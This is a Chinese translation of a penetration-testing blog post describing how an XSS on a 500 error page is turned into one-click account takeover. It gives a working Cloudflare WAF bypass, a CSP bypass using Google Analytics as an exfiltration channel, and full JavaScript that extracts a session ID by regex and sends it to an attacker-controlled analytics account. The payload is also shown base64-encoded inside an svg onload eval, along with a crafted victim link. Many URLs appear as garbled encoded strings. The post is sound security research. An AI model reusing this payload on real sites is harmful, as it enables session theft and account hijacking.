从500到账户接管

发布者:SecIN
发布于:2022-05-09 13:59

译文来源:e17K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6K6k6h3&6K6k6i4m8G2M7%4c8Q4x3X3g2U0L8$3#2Q4x3V1k6T1L8r3!0Y4i4K6u0r3x3U0l9J5x3g2)9J5c8X3k6J5L8$3#2Q4x3X3b7#2x3o6m8Q4x3X3c8@1L8#2)9J5k6r3q4U0j5$3!0#2L8Y4c8Q4x3X3c8@1j5h3E0W2L8%4k6W2M7W2)9J5c8R3`.`.。受个人知识所限及偏见影响,部分内容可能会存在过度曲解及误解情况,望各位师傅包含并提出建议,感谢。

简介

在一次漏洞评估的过程中,一个位于HTTP 500“内部服务器错误”页面上的普通跨站脚本(XSS)漏洞,被我成功地变成了一键式的账户接管。在本篇博客中,我希望将本次我利用已知的Cloudflare WAF绕过技术,和利用Google Analytics作为CSP绕过手段来提取会话口令的方式给大家叙述一下。

信息侦查

在评估开始时,我很快就注意到该Web应用将会话ID作为某种JavaScript报错函数的一部分存储在了一个message变量里。且如果window.error事件被触发的话,该函数就会被执行。

wKg0C2JSyWeAXvjcAADKQkMgZU471.png

于是我便着手去寻找一种提取这些数据的方法。有什么会是可能性和理论上更适合做这件事的中间人呢?当然是XSS!

wKg0C2JSyWACx3AAABiQozzAnw727.png

在评估过程中,我的同事Koen Claes提到了这个有意思的XSS向量,我们可以在一个500“内部服务器错误”页面上找到它。请注意下方URL中的EndUserVisibleHtmlMessage参数:

e1bK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4k6h3u0S2M7s2m8Q4x3X3g2W2P5r3q4E0M7r3I4W2i4K6u0W2k6i4g2Q4x3V1k6e0K9r3q4J5k6h3c8Q4x3V1k6h3K9i4y4A6j5X3I4W2c8i4u0J5L8%4u0Q4x3@1k6z5L8%4c8p5K9h3q4D9L8$3N6Q4x3@1c8f1M7Y4g2W2i4K6t1$3j5h3#2H3i4K6y4n7c8i4u0J5L8%4u0o6L8$3c8W2i4K6y4p5i4K6t1$3j5h3#2H3i4K6y4n7c8h3&6V1g2i4y4W2M7W2k6A6M7$3W2T1L8r3g2t1N6r3#2D9e0h3g2K6M7$3q4Y4k6g2)9K6c8q4)9J5y4X3I4@1i4K6y4n7h3q4y4e0M7r3q4&6L8r3!0S2k6r3S2W2M7X3g2Q4x3U0k6Y4N6q4)9K6b7W2)9J5y4X3q4E0M7q4)9K6b7W2y4Z5L8%4N6i4j5i4u0F1K9h3&6Y4d9h3y4G2L8W2)9K6c8p5k6S2L8s2y4W2i4K6t1$3j5h3#2H3i4K6y4n7g2r3W2@1L8r3g2Q4x3@1c8o6N6h3I4@1N6i4u0W2i4K6u0n7j5$3S2S2L8X3N6W2i4K6u0n7k6r3g2@1k6h3y4@1k6h3c8Q4x3U0k6S2L8i4m8Q4x3@1u0o6N6h3I4@1N6i4u0W2d9h3&6X3L8#2)9K6c8r3u0W2i4K6u0V1c8f1&6Q4x3U0k6S2L8i4m8Q4x3@1u0b7M7X3W2F1N6q4)9K6c8p5k6S2L8s2y4W2

这听上去不是很安全,不是吗?事实上,这种情况下几乎太容易去执行该漏洞了。但是,出现了一个问题!当我们利用该参数想要成功触发XSS时碰到了两处防护措施,因此我们需要制定一个攻击计划:

  1. 1.攻破Cloudflare“军事级别的AI增强型”Web应用防火墙(WAF)
  2. 2.欺骗我们的好朋友,CSP先生

由于CLoudflare通常是部署在应用程序前面的,这就意味着像是< script>alert(1)</script>这样简单的的payload将不会起到任何效果。

DNS覆盖

我们首先想到的是尝试一种比较常用的手段在客户端层面上来绕过WAF:DNS覆盖。假设我们能够找到Cloudflare背后的源服务器(并且它允许来自公网的连接),我们就可以通过直接与该服务器相连从而绕过WAF。

有许多众所周知的方法都能够找到那些受云WAF(或者干脆就是指Cloudflare WAF本身的扩展应用)保护的web服务背后的源服务器。比方说:

  1. 1.在Censys或类似的服务中搜索目标网站的域名,这样会显示出有哪些服务器正在使用与目标服务器相同的TLS证书等信息
  2. 2.通过在Shodan上搜索相同的favico哈希值来尝试暴露出相关地址(可以通过在0f9K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6H3K9h3g2D9j5$3)9I4x3g2)9J5c8X3k6S2N6W2)9J5k6s2g2H3上实现)
  3. 3.查询DNS历史数据

一旦你获取到了源服务器的IP地址,Burp Suite允许在“Project Options(项目选项)” -> “Hostname Resolution(主机名解析)”处快速设置你自己的DNS记录。

wKg0C2JSyXWAAq8zAABaO91LyQ511.png

当将我们发现的源服务器IP地址填入并启用“Hostname Resolution”后,Koen证实了他的想法,的确可以触发XSS。那个周所周知的alert(1)弹框就要执行了。

但你们可能会想“在针对受害者进行攻击时,这种方法在尝试绕过Cloudflare并不总是可行的”。你们想的没错,尤其是当你无法访问到受害者的基础设备或计算机时。因此这种方法并不能真正地作为我们攻击链中的一环,我们便转而专注于在应用程序层面上去绕过Cloudflare。

基于签名绕过Cloudflare的方法

Cloudflare做了很多非常酷的事情,我也推荐你们可以去看一下他们的博客!但他们也有做得不好的地方,一些众所周知的WAF绕过手段似乎并没有引起他们的注意/未修复。我查到了一个在我们案例中使用的绕过手段,发现它早在2019年6月份就被上报了,但截至目前2021年2月份却仍然有效。

Cloudflare的XSS绕过可以通过添加8位或更多位多余的十进制前导零,或是添加7位或更多位十六进制的前导零来实现。

十进制:

十六进制:

— Bohdan Korzhynskyi (@bohdansec) June 4, 2019

那条推特实际上是我在Google上第一个找到的绕过Cloudflare的推文......结果它就真的可以成功绕过并实现弹框。

a86K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4k6h3u0S2M7s2m8Q4x3X3g2W2P5r3q4E0M7r3I4W2i4K6u0W2k6i4g2Q4x3V1k6e0K9r3q4J5k6h3c8Q4x3V1k6h3K9i4y4A6j5X3I4W2c8i4u0J5L8%4u0Q4x3@1k6z5L8%4c8p5K9h3q4D9L8$3N6Q4x3@1c8f1M7Y4g2W2i4K6t1$3j5h3#2H3i4K6y4n7c8i4u0J5L8%4u0o6L8$3c8W2i4K6y4p5i4K6t1$3j5h3#2H3i4K6y4n7c8h3&6V1g2i4y4W2M7W2k6A6M7$3W2T1L8r3g2t1N6r3#2D9e0h3g2K6M7$3q4Y4k6g2)9K6c8q4)9J5y4e0y4o6M7%4k6Y4i4K6t1#2x3U0m8G2L8X3I4G2j5h3c8Q4x3U0f1K6c8s2m8J5L8$3#2H3N6q4)9J5y4e0t1#2x3U0k6Q4x3U0f1J5y4e0t1K6x3o6l9H3x3o6l9H3x3o6l9@1x3o6q4Q4x3U0W2Q4x3U0f1K6c8g2)9J5y4X3q4E0M7q4)9K6b7W2y4Z5L8%4N6i4j5i4u0F1K9h3&6Y4d9h3y4G2L8W2)9K6c8p5k6S2L8s2y4W2i4K6t1$3j5h3#2H3i4K6y4n7g2r3W2@1L8r3g2Q4x3@1c8o6N6h3I4@1N6i4u0W2i4K6u0n7j5$3S2S2L8X3N6W2i4K6u0n7k6r3g2@1k6h3y4@1k6h3c8Q4x3U0k6S2L8i4m8Q4x3@1u0o6N6h3I4@1N6i4u0W2d9h3&6X3L8#2)9K6c8r3u0W2i4K6u0V1c8f1&6Q4x3U0k6S2L8i4m8Q4x3@1u0b7M7X3W2F1N6q4)9K6c8p5k6S2L8s2y4W2

我还发现了一些不对劲的地方,如果在URL中存在一个eval可执行代码字符串,只要第一个括号(被替换成了%26%230000000040,WAF就不会对其进行拦截。

不管怎么说,第一件恼人的事情总算是解决掉了:

  • “攻破Cloudflare的“军事级别的AI增强型”WAF“

下一个问题,谢谢:)

  • 欺骗我们的好朋友,CSP先生

CSP 绕过

该web应用程序中存在以下内容安全策略(CSP):

Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' 194K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6K6M7$3I4Q4x3X3g2Y4L8$3!0Y4L8r3g2Q4x3X3c8S2L8X3q4D9P5i4c8A6j5%4y4Q4x3X3g2U0L8$3#2Q4x3U0k6F1j5Y4y4H3i4K6y4n7K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6E0j5i4m8K6i4K6u0W2k6$3!0G2k6$3I4W2j5i4m8A6M7#2)9J5k6h3y4G2L8g2)9J5y4X3&6T1M7%4m8Q4x3@1u0Z5N6s2c8H3M7#2)9K6b7g2)9J5c8W2)9J5c8Y4N6W2j5X3q4H3M7q4)9J5k6h3g2^5j5h3#2H3L8r3g2Q4x3X3g2W2N6g2)9J5y4X3&6T1M7%4m8Q4x3@1u0Z5N6s2c8H3M7#2)9K6b7g2)9J5c8W2)9J5c8X3y4G2L8X3&6W2j5%4c8Q4x3X3g2X3j5h3y4W2j5X3!0G2K9#2)9J5k6h3&6W2N6q4)9J5y4X3&6T1M7%4m8Q4x3@1u0Z5N6s2c8H3M7#2)9K6b7g2)9J5c8W2)9J5c8Y4c8Z5k6h3#2W2M7#2)9J5k6h3g2^5j5h3#2H3L8r3g2Q4x3X3g2W2N6g2)9K6b7W2)9J5y4X3&6T1M7%4m8Q4x3@1u0A6L8h3N6Q4x3X3c8K6M7X3y4Q4x3U0k6F1j5Y4y4H3i4K6y4n7i4K6t1$3i4K6t1K6x3K6W2Q4x3@1u0K6k6h3I4X3i4K6t1$3i4K6t1K6x3K6W2Q4x3@1u0Q4x3U0k6F1j5Y4y4H3i4K6y4n7K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6K6M7$3I4Q4x3X3g2Y4L8$3!0Y4L8r3g2Q4x3X3c8S2L8X3q4D9P5i4c8A6j5%4y4Q4x3X3g2U0L8$3#2Q4x3U0k6F1j5Y4y4H3i4K6y4n7K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6K6i4K6u0V1M7%4c8S2N6r3W2U0i4K6u0W2j5h3E0Q4x3X3g2X3j5h3y4W2j5X3!0G2K9#2)9J5k6h3y4G2L8g2)9J5y4X3&6T1M7%4m8Q4x3@1u0Z5N6s2c8H3M7#2)9K6b7g2)9J5c8W2)9J5c8Y4N6W2j5X3q4H3M7q4)9J5k6h3g2^5j5h3#2H3L8r3g2Q4x3X3g2W2N6g2)9J5y4X3&6T1M7%4m8Q4x3@1u0Z5N6s2c8H3M7#2)9K6b7g2)9J5c8W2)9J5c8Y4c8Z5k6h3#2W2M7#2)9J5k6h3g2^5j5h3#2H3L8r3g2Q4x3X3g2W2N6g2)9J5y4X3&6T1M7%4m8Q4x3@1u0Z5N6s2c8H3i4K6y4m8i4K6u0r3i4K6u0r3K9h3#2S2k6$3g2K6i4K6u0V1j5i4N6K6N6r3g2K6N6q4)9J5k6h3g2^5j5h3#2H3L8r3g2Q4x3X3g2U0L8$3#2Q4x3@1u0Q4x3U0k6F1j5Y4y4H3i4K6y4n7M7%4c8&6L8r3g2Q4x3X3c8K6M7X3y4Q4x3U0k6F1j5Y4y4H3i4K6y4n7i4K6t1$3i4K6t1K6x3K6W2Q4x3@1u0K6k6h3I4X3i4K6t1$3i4K6t1K6x3K6W2Q4x3@1u0Q4x3U0k6F1j5Y4y4H3i4K6y4n7i4K6t1$3i4K6t1K6x3K6W2Q4x3@1u0#2L8Y4y4S2k6X3g2Q4x3X3c8A6L8X3I4A6L8X3g2Q4x3U0k6Q4x3U0x3K6z5g2)9K6b7W2)9J5y4X3&6T1M7%4m8Q4x3@1u0Z5N6s2c8H3M7#2)9K6b7g2)9J5c8W2)9J5c8X3k6G2L8Y4c8K6i4K6u0W2k6$3!0G2k6$3I4W2j5i4m8A6M7#2)9J5k6h3y4G2L8g2)9J5y4X3&6T1M7%4m8Q4x3@1u0Z5N6s2c8H3M7#2)9K6b7g2)9J5c8W2)9J5c8Y4N6W2j5X3q4H3M7q4)9J5k6h3g2^5j5h3#2H3L8r3g2Q4x3X3g2W2N6g2)9J5y4X3&6T1M7%4m8Q4x3@1u0Z5N6s2c8H3M7#2)9K6b7g2)9J5c8W2)9J5c8Y4c8Z5k6h3#2W2M7#2)9J5k6h3g2^5j5h3#2H3L8r3g2Q4x3X3g2W2N6g2)9K6b7W2)9J5y4X3&6T1M7%4m8Q4x3@1u0X3L8$3&6@1i4K6u0V1M7%4u0U0i4K6t1$3L8X3u0K6M7q4)9K6b7W2)9J5y4W2)9J5x3K6x3&6i4K6y4n7M7$3g2D9k6W2)9J5y4W2)9J5x3K6x3&6i4K6y4n7i4K6t1$3L8X3u0K6M7q4)9K6b7X3S2@1N6s2m8K6i4K6y4m8i4K6u0r3i4K6u0r3N6r3S2W2L8h3g2K6i4K6u0W2k6$3!0G2k6$3I4W2N6i4y4W2M7X3y4G2L8Y4c8W2L8Y4c8Q4x3X3g2U0L8$3#2Q4x3@1u0Q4x3U0k6F1j5Y4y4H3i4K6y4n7k6Y4u0S2L8h3g2Q4x3X3c8K6M7X3y4Q4x3U0k6F1j5Y4y4H3i4K6y4n7K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4k6h3u0S2M7s2m8Q4x3X3g2W2P5r3q4E0M7r3I4W2i4K6u0W2k6i4g2Q4x3U0k6F1j5Y4y4H3i4K6y4n7K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2X3j5h3y4W2j5X3!0G2K9#2)9J5k6h3y4G2L8g2)9J5y4X3&6T1M7%4m8Q4x3@1u0Z5N6s2c8H3M7#2)9K6b7g2)9J5c8W2)9J5c8Y4y4Q4x3X3c8K6N6r3q4@1K9h3y4Q4x3X3g2S2K9#2)9J5k6h3k6S2j5$3g2T1L8$3!0C8i4K6u0W2j5$3!0E0i4K6y4n7i4K6t1$3L8X3u0K6M7q4)9K6b7X3!0T1K9X3g2U0N6q4)9J5k6s2y4J5j5#2)9J5y4X3&6T1M7%4m8Q4x3@1u0Q4x3U0k6Q4x3U0x3K6z5g2)9K6b7X3&6G2L8X3g2Q4x3U0k6Q4x3U0x3K6z5g2)9K6b7R3`.`.

通过详细地检查CSP后,我们发现由于在CSP中设置了” 'self','unsafe-inline','unsafe-eval' “,它只允许运行来自其域本身的脚本。

所以我想,或许可以写一个利用Burp Collaborator中URL的fetch()方法来解决这个问题,但后来证实我想多了...... 我们发现了一个错误,提示connect-src不支持fetch()函数来对未声明域进行外部HTTP调用。只有对源域才是有效的。

wKg0C2JSyXqANCD4AAEhUtxZUn4934.png

尽管connect-src在CSP中并没有写明,但是default-src 'self'会禁止任何未声明的指令被“恶意”执行。好吧,那究竟什么才是被允许的呢?

img-src 346K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6K6M7$3I4Q4x3X3g2Y4L8$3!0Y4L8r3g2Q4x3X3c8S2L8X3q4D9P5i4c8A6j5%4y4Q4x3X3g2U0L8$3@1`.

或许这对于大多数人来说算是敲响了一次警钟吧。可以通过Google Analytics来进行提取会话口令!但是要怎么做呢?

Google Analytics

和Facebook一样,Google Analytics通过跟踪像素来提供跟踪功能。通常,跟踪像素会进行一些日志记录/指纹识别,但在本例中,我们可以主动将其利用为一个数据提取的通道。

通过深挖Google Analytics文档,我们发现可以构造一个有意思的collect接口URL。这个URL含有允许包含任意字符串的特定参数。该参数称为ea

wKg0C2JSyYCAMyVVAABzZQBKpII759.png

为了能够利用跟踪像素成功添加该Google Analytics,需要3个强制性参数:

  1. 1.tid,这是我们为执行攻击而设置的Google Analytics PoC账户ID
  2. 2.cid,这是一个随机数,用于区分浏览器/用户,也就是指纹识别
  3. 3.ea,可以对其分配任意字符串

所以,一个简单的示例就会是以下这样:

828K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6K6M7$3I4Q4x3X3g2Y4L8$3!0Y4L8r3g2Q4x3X3c8S2L8X3q4D9P5i4c8A6j5%4y4Q4x3X3g2U0L8$3#2Q4x3V1k6U0L8$3I4D9k6h3y4@1i4K6y4r3N6W2)9K6c8o6q4Q4x3U0k6S2L8i4m8Q4x3@1u0@1K9h3c8Q4x3@1c8g2b7g2)9J5k6o6p5&6x3o6p5^5x3K6l9I4y4g2)9J5k6o6q4Q4x3U0k6S2L8i4m8Q4x3@1u0U0K9h3c8Q4x3@1b7I4x3K6x3K6x3K6x3K6y4#2)9J5y4X3q4E0M7q4)9K6b7Y4c8Q4x3@1c8W2N6X3g2F1N6q4)9J5y4X3q4E0M7q4)9K6b7X3g2U0i4K6y4p5k6h3#2S2K9h3I4Q4x3U0k6S2L8i4m8Q4x3@1u0W2j5g2)9K6c8r3q4F1P5i4y4@1M7X3W2F1k6H3`.`.

考虑到该URL,可以保险地说,在完成我们为此次攻击准备的最后一个目标后,我们就可以绕过CSP策略了:

  • 欺骗我们的好朋友,CSP先生

攒零合整

我们目前已经具备了实现完整攻击链所需的4个部分,简单回顾一下,分别是:

  1. 1.可在JavaScript函数可访问的SessionID
  2. 2.Cloudflare绕过
  3. 3.CSP绕过
  4. 一个Google Analytics collect接口URL

接下来就让我们将各环相扣,准备窃取会话id吧!

利用JavaScript对SessionID切片

正如简介所述,该应用将用户的会话cookie等信息放在了一个报错函数中。那么还有什么方法会比一个正则表达式来提取我们想要的值更合适呢?

我们借助regex101.com并快速构建了一个正则表达式,用于提取该特定字段及其对应的值,一个24个字符的字母数字会话ID,如下所示。

wKg0C2JSyYWAId9CAADHwmfC7sk376.png

而实际的正则表达式为:

/(?:SessionID: (?:[a-zA-Z0-9-_]{24}))/gm

wKg0C2JSyYqAPwrdAACPFYCF5xM996.png

编写payload代码

由于我们想将Google Analytics跟踪像素附加到我们的网页上,我们将不得不定义一个新变量,我们把它称为gaimage

var gaimage = document.createElement("img");

接下来,声明我们的regex变量:

var regex = /(?:SessionID: (?:[a-zA-Z0-9-_]{24}))/gm;

下面的步骤可能会有点复杂。

该应用程序在HTTP响应状态为200 OK时才会返回之前提到的那个JavaScript报错函数,但由于我们的XSS入口是在HTTP 500 “内部服务器错误”页面上发现的,所以我们不得不使用一下跨站请求伪造。简单来说上是向一个页面发出请求,该页面的响应中会包含我们需要提取出来的会话ID。

关于我们的payload,下面的JavaScript将执行以下操作:

  1. 1.获取HTTP响应状态为200 OK的页面的内容,为了设计PoC,我们在示例中填写的是一个名为/Search/Criteria的随机页面URL
  2. 2.将我们的Google Analytics collect接口URL作为源分配给img标签的属性
  3. 3.cidMath.random()函数随机生成
  4. 4.最重要的是,ea参数中填入了为提取SessionID用到的正则表达式
fetch("/Search/Criteria").then(response => response.text()).then(data => gaimage.src = "427K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6K6M7$3I4Q4x3X3g2Y4L8$3!0Y4L8r3g2Q4x3X3c8S2L8X3q4D9P5i4c8A6j5%4y4Q4x3X3g2U0L8$3#2Q4x3V1k6U0L8$3I4D9k6h3y4@1i4K6y4r3N6W2)9K6c8o6q4Q4x3U0k6S2L8i4m8Q4x3@1u0@1K9h3c8Q4x3@1c8g2b7g2)9J5k6o6p5&6x3o6p5^5x3K6l9I4y4g2)9J5k6o6q4Q4x3U0k6S2L8i4m8Q4x3@1u0U0K9h3c8Q4x3@1c8Q4x3U0k6I4N6h3!0@1i4K6y4n7i4K6t1$3L8X3u0K6M7q4)9K6b7W2)9J5b7W2)9J5y4X3&6T1M7%4m8Q4x3@1u0y4j5i4c8Z5i4K6u0W2k6X3I4G2L8%4u0Q4x3U0S2y4j5i4c8Z5i4K6u0W2M7X3q4F1k6r3!0E0i4K6t1^5i4K6t1&6i4K6t1$3L8X3u0K6M7q4)9K6b7W2)9J5b7g2)9J5y4X3&6T1M7%4m8Q4x3@1t1^5z5e0V1&6z5e0V1&6z5e0V1&6i4K6t1$3L8X3u0K6M7q4)9K6b7W2)9J5b7W2)9J5y4X3&6T1M7%4m8Q4x3@1t1I4x3o6l9H3x3o6l9H3x3o6l9H3i4K6t1&6i4K6t1$3L8X3u0K6M7q4)9K6b7W2)9J5b7W2)9J5y4X3&6T1M7%4m8Q4x3@1u0Q4x3U0k6I4N6h3!0@1i4K6y4n7i4K6t1$3j5h3#2H3i4K6y4n7N6q4)9K6c8r3g2$3k6h3&6@1i4K6t1$3j5h3#2H3i4K6y4n7k6h3y4Q4x3@1c8W2L8h3q4A6L8q4)9J5y4X3q4E0M7q4)9K6b7X3g2S2i4K6y4p5i4K6t1$3M7i4g2G2N6q4)9K6b7W2)9J5y4X3&6T1M7%4m8Q4x3@1u0Q4x3V1u0Q4x3U0k6F1j5Y4y4H3i4K6y4n7k6h3&6U0L8$3c8W2g2g2u0u0b7$3!0E0M7r3!0F1k6h3&6@1i4K6t1^5k6r3q4@1j5g2)9J5k6h3#2S2N6r3y4Z5i4K6t1^5M7X3g2Y4k6i4S2Q4x3U0W2Q4x3U0W2Q4x3U0W2Q4x3@1t1`.

最后,通过将实际的gaimage追加到HTML DOM中来完成此代码:

document.head.appendChild(gaimage);

我们的JavaScript生成的恶意img元素,看起来如下:

<img src="a4cK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6K6M7$3I4Q4x3X3g2Y4L8$3!0Y4L8r3g2Q4x3X3c8S2L8X3q4D9P5i4c8A6j5%4y4Q4x3X3g2U0L8$3#2Q4x3V1k6U0L8$3I4D9k6h3y4@1i4K6y4r3N6W2)9K6c8o6q4Q4x3U0k6S2L8i4m8Q4x3@1u0@1K9h3c8Q4x3@1c8g2b7g2)9J5k6o6p5&6x3o6p5^5x3K6l9I4y4g2)9J5k6o6q4Q4x3U0k6S2L8i4m8Q4x3@1u0U0K9h3c8Q4x3@1b7^5y4U0j5@1y4U0b7@1y4U0R3K6i4K6t1$3j5h3#2H3i4K6y4n7N6q4)9K6c8r3g2$3k6h3&6@1i4K6t1$3j5h3#2H3i4K6y4n7k6h3y4Q4x3@1c8W2L8h3q4A6L8q4)9J5y4X3q4E0M7q4)9K6b7X3g2S2i4K6y4p5f1$3g2K6M7$3W2G2L8V1W2p5i4K6t1#2x3@1q4Q4x3U0f1J5x3s2m8H3M7h3W2A6N6r3#2S2M7r3Z5@1y4h3c8I4x3h3c8S2j5$3#2Y4k6h3)9H3j5g2)9J5y4Y4q4#2L8%4c8Q4x3@1u0Q4x3U0k6Y4N6q4)9K6b7R3`.`.

构建HTML注入

作为我们攻击准备的最后一步,我们需要在EndUserVisibleHtmlMessage参数中尽可能整齐地整合所有内容,XSS将会在此处触发。

为了防止出现编码问题(或规避一些可能的检测),我选择使用base64再用URL编码对JavaScript payload进行编码,这意味着这段代码:

var gaimage = document.createElement("img");var regex = /(?:SessionID: (?:[a-zA-Z0-9-_]{24}))/gm; fetch("/Search/Criteria").then(response => response.text()).then(data => gaimage.src = "dd6K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6K6M7$3I4Q4x3X3g2Y4L8$3!0Y4L8r3g2Q4x3X3c8S2L8X3q4D9P5i4c8A6j5%4y4Q4x3X3g2U0L8$3#2Q4x3V1k6U0L8$3I4D9k6h3y4@1i4K6y4r3N6W2)9K6c8o6q4Q4x3U0k6S2L8i4m8Q4x3@1u0@1K9h3c8Q4x3@1c8g2b7g2)9J5k6o6p5&6x3o6p5^5x3K6l9I4y4g2)9J5k6o6q4Q4x3U0k6S2L8i4m8Q4x3@1u0U0K9h3c8Q4x3@1c8Q4x3U0k6I4N6h3!0@1i4K6y4n7i4K6t1$3L8X3u0K6M7q4)9K6b7W2)9J5b7W2)9J5y4X3&6T1M7%4m8Q4x3@1u0y4j5i4c8Z5i4K6u0W2k6X3I4G2L8%4u0Q4x3U0S2y4j5i4c8Z5i4K6u0W2M7X3q4F1k6r3!0E0i4K6t1^5i4K6t1&6i4K6t1$3L8X3u0K6M7q4)9K6b7W2)9J5b7g2)9J5y4X3&6T1M7%4m8Q4x3@1t1^5z5e0V1&6z5e0V1&6z5e0V1&6i4K6t1$3L8X3u0K6M7q4)9K6b7W2)9J5b7W2)9J5y4X3&6T1M7%4m8Q4x3@1t1I4x3o6l9H3x3o6l9H3x3o6l9H3i4K6t1&6i4K6t1$3L8X3u0K6M7q4)9K6b7W2)9J5b7W2)9J5y4X3&6T1M7%4m8Q4x3@1u0Q4x3U0k6I4N6h3!0@1i4K6y4n7i4K6t1$3j5h3#2H3i4K6y4n7N6q4)9K6c8r3g2$3k6h3&6@1i4K6t1$3j5h3#2H3i4K6y4n7k6h3y4Q4x3@1c8W2L8h3q4A6L8q4)9J5y4X3q4E0M7q4)9K6b7X3g2S2i4K6y4p5i4K6t1$3M7i4g2G2N6q4)9K6b7W2)9J5y4X3&6T1M7%4m8Q4x3@1u0Q4x3V1u0Q4x3U0k6F1j5Y4y4H3i4K6y4n7k6h3&6U0L8$3c8W2g2g2u0u0b7$3!0E0M7r3!0F1k6h3&6@1i4K6t1^5k6r3q4@1j5g2)9J5k6h3#2S2N6r3y4Z5i4K6t1^5M7X3g2Y4k6i4S2Q4x3U0W2Q4x3U0W2Q4x3U0W2Q4x3@1u0V1L8$3y4#2L8h3g2F1N6q4)9J5k6h3S2W2j5h3c8Q4x3X3g2S2M7s2m8W2L8X3c8o6K9r3W2D9k6q4)9J5z5r3N6S2K9h3#2S2k6$3g2Q4x3U0W2Q4x3@1t1`.

将会变成这样:

dmFyIGdhaW1hZ2UgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJpbWciKTsKdmFyIHJlZ2V4ID0gLyg%2FOlNlc3Npb25JRDogKD86W2EtekEtWjAtOS1fXXsyNH0pKS9nbTsgZmV0Y2goIi9TZWFyY2gvQ3JpdGVyaWEiKS50aGVuKHJlc3BvbnNlID0%2BIHJlc3BvbnNlLnRleHQoKSkudGhlbihkYXRhID0%2BIGdhaW1hZ2Uuc3JjID0gImh0dHBzOi8vc3NsLmdvb2dsZS1hbmFseXRpY3MuY29tL2NvbGxlY3Q%2Fdj0xJnRpZD1VQS0xOTAxODMwMTUtMSZjaWQ9IiArIE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDg5OTk5OTk5OTkgKyAxMDAwMDAwMDAwKSArICImdD1ldmVudCZlYz1lbWFpbCZlYT0iICsgZW5jb2RlVVJJQ29tcG9uZW50KGRhdGEubWF0Y2gocmVnZXgpKSk7CmRvY3VtZW50LmhlYWQuYXBwZW5kQ2hpbGQoZ2FpbWFnZSk7

这也意味着,输出的payload本身必须按照我们编码时的步骤进行解码以构建HTML payload:

<svg onload=eval(atob(decodeURIComponent("dmFyIGdhaW1hZ2U9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiaW1nIik7IHZhciByZWdleCA9IC8oPzpTZXNzaW9uSUQ6ICg/OlthLXpBLVowLTktX117MjR9KSkvZ207IGZldGNoKCIvU2VhcmNoL0NyaXRlcmlhIikudGhlbihyZXNwb25zZSA9PiByZXNwb25zZS50ZXh0KCkpLnRoZW4oZGF0YSA9PiBnYWltYWdlLnNyYz0iaHR0cHM6Ly9zc2wuZ29vZ2xlLWFuYWx5dGljcy5jb20vY29sbGVjdD92PTEmdGlkPVVBLTE5MDE4MzAxNS0xJmNpZD0iK01hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDg5OTk5OTk5OTkgKyAxMDAwMDAwMDAwKSsiJnQ9ZXZlbnQmZWM9ZW1haWwmZWE9IitlbmNvZGVVUklDb21wb25lbnQoZGF0YS5tYXRjaChyZWdleCkpKTsgZG9jdW1lbnQuaGVhZC5hcHBlbmRDaGlsZChnYWltYWdlKTs=")))>

但是,像上面这样的HTML将不会起作用,因为它没有进行Cloudflare绕过的处理。通过应用我之前提到的Cloudflare绕过手段,我们最终就得到一个可以发送给受害者链接了:

751K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4k6h3u0S2M7s2m8Q4x3X3g2W2P5r3q4E0M7r3I4W2i4K6u0W2k6i4g2Q4x3V1k6e0K9r3q4J5k6h3c8Q4x3V1k6h3K9i4y4A6j5X3I4W2c8i4u0J5L8%4u0Q4x3@1k6z5L8%4c8p5K9h3q4D9L8$3N6Q4x3@1c8f1M7Y4g2W2i4K6t1$3j5h3#2H3i4K6y4n7c8i4u0J5L8%4u0o6L8$3c8W2i4K6y4p5i4K6t1$3j5h3#2H3i4K6y4n7c8h3&6V1g2i4y4W2M7W2k6A6M7$3W2T1L8r3g2t1N6r3#2D9e0h3g2K6M7$3q4Y4k6g2)9K6c8q4)9J5y4e0y4o6M7%4k6Y4i4K6t1#2x3U0m8G2L8X3I4G2j5h3c8Q4x3@1c8W2N6X3q4D9i4K6t1#2x3U0k6Q4x3U0f1J5x3K6l9H3x3o6l9H3x3o6l9H3y4o6m8S2N6r3!0T1i4K6t1#2x3U0k6Q4x3U0f1J5x3K6l9H3x3o6l9H3x3o6l9H3y4o6m8V1k6h3y4G2k6r3g2g2f1V1W2o6L8$3#2H3L8$3&6W2L8Y4c8Q4x3U0f1J5y4W2)9J5y4e0t1K6x3o6l9H3x3o6l9H3x3o6l9@1x3q4)9J5y4e0t1J5k6r3#2r3P5f1W2s2k6r3S2S2g2K6q4Z5h3U0u0g2z5g2A6s2z5h3A6V1g2K6q4D9j5X3&6c8N6g2V1K6d9X3I4k6h3q4u0D9f1W2N6^5L8r3u0i4g2Y4g2V1b7$3N6A6j5g2M7I4L8V1W2A6K9K6N6u0d9q4A6Z5j5$3W2n7P5g2A6i4k6r3I4W2b7@1p5&6d9f1x3^5L8#2m8*7M7q4c8K9h3p5&6*7j5g2M7&6N6g2y4g2f1e0k6u0b7$3N6Q4x3U0f1J5c8V1!0D9N6r3S2x3h3s2m8n7e0q4k6G2N6@1I4f1K9%4c8j5x3e0p5%4e0h3A6d9z5f1E0e0K9%4k6K9x